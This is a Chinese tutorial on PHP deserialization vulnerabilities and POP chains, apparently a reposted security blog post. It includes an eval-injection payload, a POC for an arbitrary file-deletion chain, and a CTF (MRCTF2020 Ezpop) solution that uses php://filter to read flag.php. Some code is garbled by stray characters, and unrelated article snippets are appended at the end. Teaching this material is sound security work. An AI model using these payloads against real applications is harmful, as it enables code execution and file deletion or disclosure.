反序列化漏洞详解

访客3年前黑客工具552

首先白泽Sec在这里祝大家新年快乐啦!
祝各位新的一年学业顺利,事业顺利,大吉大利,万事如意~

简介:

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术 *** ,如果魔术 *** 内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

可能看了以上你还是对反序列化漏洞不太理解,那么我们通过学习以下序列化和反序列化的基础知识,很多语言都有自己的序列化函数与序列化操作,本文我们就以PHP语言的反序列化漏洞为例进行讲解,相信你会对反序列化漏洞有一个新的认识。

基础知识:

什么是序列化和反序列化

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象。

简单的来讲:

序列化:把对象转换为字节序列的过程称为对象的序列化。 反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

PHP中序列化和反序列化的函数:

1612434752_601bcd40c751e8c249a19.png!small?1612434752744

1612434760_601bcd486017ac3e57bac.png!small?1612434760879

什么是魔术 ***

魔术 *** 是语言中保留的 *** 名,各个 *** 会在对应操作时自动调用,下面以PHP语言中的魔术 *** 来做讲解

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发?
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的 *** 时触发?
__callStatic() 在静态上下文中调用不可访问的 *** 时触发?
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

还不明白的话,这里给出一个序列化的实例

<?php
?
class test{
public $id='Baize';
public $name='Sec';
}
?
$test1=new test();
?
$test2=serialize($test1);
?
print_r($test2);
?
?>

以上是对test类序列化后输出的例子,效果图如下

1612434773_601bcd555cdbe75f3ad6a.png!small?1612434773286

漏洞原理实例:

在反序列化时,参数用户可控,魔术 *** 中存在危害函数,就会产生反序列化漏洞,下面给出一个最简单的实例

<?php ? 
?
class test{
?
var $id='Baize';

function __wakeup(){
eval($this->id);
}
?
}
?
$test1=$_GET['string'];
?
$test2=unserialize($test1);
?
?>

审计代码,总结如下

1.可控参数是GET型string参数

2.后端接收参数后进行反序列化操作

3.test类中存在__wakeup魔术 *** ,操作是eval($id)

那么我们思路是:构造test类的序列化字符串,使得反序列化后得$id值为要执行的操作,例如我们要执行phpinfo(),那么可以构造这样一个字符串

O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}

在反序列化后会重新创建该对象test,并且id参数会恢复为我们提交的序列化参数中设定的值,即phpinfo(); ,那么我们可以推理出反序列化之后的test对象大致如下

<?php ? 
?
class test{
?
var $id='phpinfo();';

function __wakeup(){
eval($this->id);
}
?
}
?
?>

而反序列化会时会自动调用__wakeup魔术 *** ,即执行

1612434781_601bcd5d9b33b8c2e3fa7.png!small?1612434781885

漏洞检测:

反序列化漏洞的发现一般需审计源码,寻找可利用的pop链

上面的例子为了让大家理解,较为简单,直接在魔术 *** 中就有可以利用的漏洞,自动调用魔术 *** 从而触发漏洞,而实际中基本不会有这种这么简单的,更多的则是需要通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

下面我们就通过两道简单的题目来学习构造简单的pop链来利用反序列化漏洞

POP CHAIN(POP链):

概念:

通过用户可控的反序列化操作,其中可触发的魔术 *** 为出发点,在魔术 *** 中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即

用户可控反序列化→魔术 *** →魔术 *** 中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作

实例解析1:

源码:

<?php
?
class Test1{
protected $obj;
?
function __construct(){
?
$this->obj=new Test3;
?
}

function __toString(){
?
if (isset($this->obj)) return $this->obj->Delete();
?
}
?
}
?
class Test2{ ?
public $cache_file;
?
function Delete(){
$file=“/var/www/html/cache/tmp/{$this->cache_file}”;
?
if (file_exists($file)){
?
@unlink($file);
}

return 'I am a evil Delete function';
?
}
?
}
?
class Test3{
?
function Delete(){
?
return 'I am a safe Delete function';
?
}
?
}
?
$user_data=unserialize($_GET['data']);
?
echo $user_data;
?
?>

代码分析:

首先我们看最限制行的操作在最下面反序列化GET到的参数data,然后执行echo $user_data,这里如果$user_data是一个类实例化来的对象的话,就会触发对象中的__tostring()魔术 ***

其次源码中有三个类,分别是Test1,Test2,Test3,依次分析

Test1:

class Test1{
protected $obj;
?
function __construct(){
?
$this->obj=new Test3;
?
}

function __toString(){
?
if (isset($this->obj)) return $this->obj->Delete();
?
}
?
}

1.首先声明了$obj变量

2.类中有__construct()和__tostring()魔术 *** ,__construct() *** 为$obj变量赋值为Test3类的实例化对象,__tostring() *** 判断如果$obj变量存在则返回调用$obj对象中的Delete()函数

Test2:

class Test2{ ?
public $cache_file;
?
function Delete(){
$file=“/var/www/html/cache/tmp/{$this->cache_file}”;
?
if (file_exists($file)){
?
@unlink($file);
}

return 'I am a evil Delete function';
?
}
?
}

1.首先声明了$cache_file变量

2.定义了Delete()函数,如果定义的$file变量中的文件存在,则删除此文件并返回提示内容

Test3:

class Test3{
?
function Delete(){
?
return 'I am a safe Delete function';
?
}
?
}

1.定义了Delete()函数,此函数只返回一句话,没有敏感操作,为安全函数

POP链构造:

首先出发点是Test1中的__tostring()魔术 *** ,其中调用了$this->obj中的Delete()函数,而$this->obj是在实例化对象是触发__construct *** ,将$this->obj作为实例化Test3类的对象,那么此时调用的就是Test3类中的Delete()函数,只返回一句提示,那么此时的执行流如下

Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete ***

不过在Test2类中也定义了和Test3中同名的函数Delete(),那么我们可以通过构造特定的反序列化参数来修改执行流,也就是构造我们的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,让执行流如下

Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete ***

那么POP链的构造就是通过反序列化和echo来触发__tostring()魔术 *** ,并且此 *** 中调用Test2中的Delete() *** ,造成任意文件删除的危害。

利用POC:

<?php
class Test1{
protected $obj;
function __construct(){
$this->obj=new Test2;
}
}
?
class Test2{
public $cache_file='/test.php';
}
?
$evil=new Test1();
?
echo urlencode(serialize($evil));
?
?>

实例解析2:

[MRCTF2020]Ezpop

源码:

Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected ?$var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
?
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source=$file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
?
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\https://www.freebuf.com/articles/web/i", $this->source)) {
echo "hacker";
$this->source="index.php";
}
}
}
?
class Test{
public $p;
public function __construct(){
$this->p=array();
}
?
public function __get($key){
$function=$this->p;
return $function();
}
}
?
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

代码分析:

首先还是看全部代码的入点,在最下面的一个判断,GET接收到pop参数则反序列化处理,否则实例化Show给$a,然后高亮当前文件

其次源码中有三个类,分别是Modifier,Show,Test,依次分析

Modifier:

class Modifier {
protected ?$var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

1.首先声明了$var变量

2.定义了append($value) *** ,操作是include($value)

3.定义了魔术 *** __invoke(),操作是调用本类中的append *** 传递参数为$this->var

__invoke() 当尝试以调用函数的方式调用一个对象时触发

Show:

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source=$file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
?
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\https://www.freebuf.com/articles/web/i", $this->source)) {
echo "hacker";
$this->source="index.php";
}
}
}

1.声明了$source和$str变量

2.声明了魔术 *** __construct($file='index.php'),操作为给$this->source变量赋值为$file

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值

3.声明了魔术 *** __toString(),操作为返回$this->str->source

__toString() 当一个类被当成字符串使用时触发

4.声明了魔术 *** __wakeup(),操作为正则匹配$this->source变量,如果匹配到则赋值$this->source="index.php"

__wakeup() 使用unserialize()时自动触发

Test:

class Test{
public $p;
public function __construct(){
$this->p=array();
}
?
public function __get($key){
$function=$this->p;
return $function();
}
}

1.声明了$p变量

2.声明了魔术 *** __construct(),操作为赋值$this->p=array()

3.声明了魔术 *** __get(),操作为赋值$function=$this->p,然后以函数返回$funcion()

__get() 用于从不可访问的属性读取数据

POP链构造:

由于本题是一道CTF题目,我们的目标是获得flag,提示flag在flag.php里,通过对三个类的代码分析,可以读取到flag的地方只有append($value) *** ,操作是include($value),可以利用伪协议来读取flag.php内容。

由于这道题目只有include那里可以利用,那么我们从那里反推

一.要想利用include,需要使用__invoke()来触发,而这个魔术 *** 的触发条件是,以调用函数的方式调用一个对象,那么我们找哪里可以满足这个条件。

二.在对Test类代码分析的第三条中,__get()魔术 *** 以$funcion()函数返回$this->p,我们需要将$this->p设置为Modifier的实例化对象,那么而且上面对$this->p赋值的操作是__construct()控制,也就是说是我们可控的,那么就看如何利用__get()

三.要想利用Test类中的__get()魔术 *** ,也需要我们用一定的条件触发,从不可访问的属性读取数据时触发,那么符合的只有Show类中的__toString(),需要将$this->str设置为Test类的实例化对象

四.触发__toString()的条件是:__toString() 当一个类被当成字符串使用时触发,那么在本类中的__wakeup()魔术 *** 中的preg_match就正好可以触发,也就是将$this->source设置为Show类的实例化对象,也就需要在__construct()时就设置$file为Show的实例化对象

那么整体的pop链应该是如下的

Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()<--Show::__construct()

利用POC:

<?php
class Modifier {
protected ?$var='php://filter/read=convert.base64-encode/resource=flag.php' ;
?
}
?
class Show{
public $source;
public $str;
public function __construct($file){
$this->source=$file;
}
}
?
class Test{
public $p;
}
?
$a=new Show();
$a->str=new Test();
$a->str->p=new Modifier();
$b=new Show($a);
echo urlencode(serialize($b));
?>

这道题目不是利用的同名函数来执行敏感操作,而是利用函数和对象之间的传递来调用敏感函数,形成了反序列化漏洞可以任意调用文件包含函数。

相信大家通过上面的两个例子的学习已经对反序列化漏洞有了基本的理解~

相关文章

秘鲁256名医生死于新冠刘姥姥二进大观园 利马和卡亚俄40%人群已

  中新网12月28日电 据秘鲁《公言报》报道,当地时间27日,秘鲁卫生部发布的新冠疫情数据显示,新增1339例新冠肺炎确诊病例,其中过去24小时新增病例为919例,另外420例为调整补增,累计确诊病...

微信如何设置密码锁

以微信7.0.19版本号为例子,设定密码挂锁不许他人看的方式是:      1、点击打开手机界面上的【设定】。   2、在设定莱单下点击查看【安全性】。   3、点击查看【应用加密】。   4、...

疤痕是什么?疤痕体质是什么鬼

疤痕是什么?疤痕体质是什么鬼

瘢痕是什么(疤痕体质是什么鬼)在临床接诊工作中,我经常会被咨询,“医生,会不会留疤痕?”,“我是不是疤痕体质?”,“美容缝合后是不会留疤痕的吧”。 疤痕是俗语,瘢痕是书面用语,医生一般习惯用瘢痕。...

怎么查看兄弟全部的微信聊天记录

在宝宝脸上出现小点点以后一般根据经验总是直接下定论,其实孩子的情况就算是一样的本质也会有不同哦。下面友谊长存的小编为大家分享婴儿湿疹怎么护理,干性湿疹和过敏性湿疹有什么区别大家一起来看吧。 婴儿湿疹...

橄榄菜的做法,用橄榄菜做配菜的美味家常菜教程

橄榄菜的做法,用橄榄菜做配菜的美味家常菜教程

  ​ 说到橄榄菜,相信很多的朋友都没有吃过,我吃过的也是瓶装的,瓶装的橄榄菜可以直接下饭吃,也可以拿来做配菜,做出来的菜味道超棒!橄榄菜的菜品特色:下箸品尝,舌肠芳洌,细细咀嚼,留...

什么火锅好吃?最新最好吃的火锅排行榜!

什么火锅好吃?最新最好吃的火锅排行榜!

天气渐凉,这种时候就应该好好吃一顿热腾腾的火锅才是人生美事!感谢生在拥有八大菜系的中国,让身为吃货的你我拥有那么多的美食选择,光是火锅就有几十种。麻、辣、鲜、香,总有一款适合你!敲黑板,童鞋们,做笔记...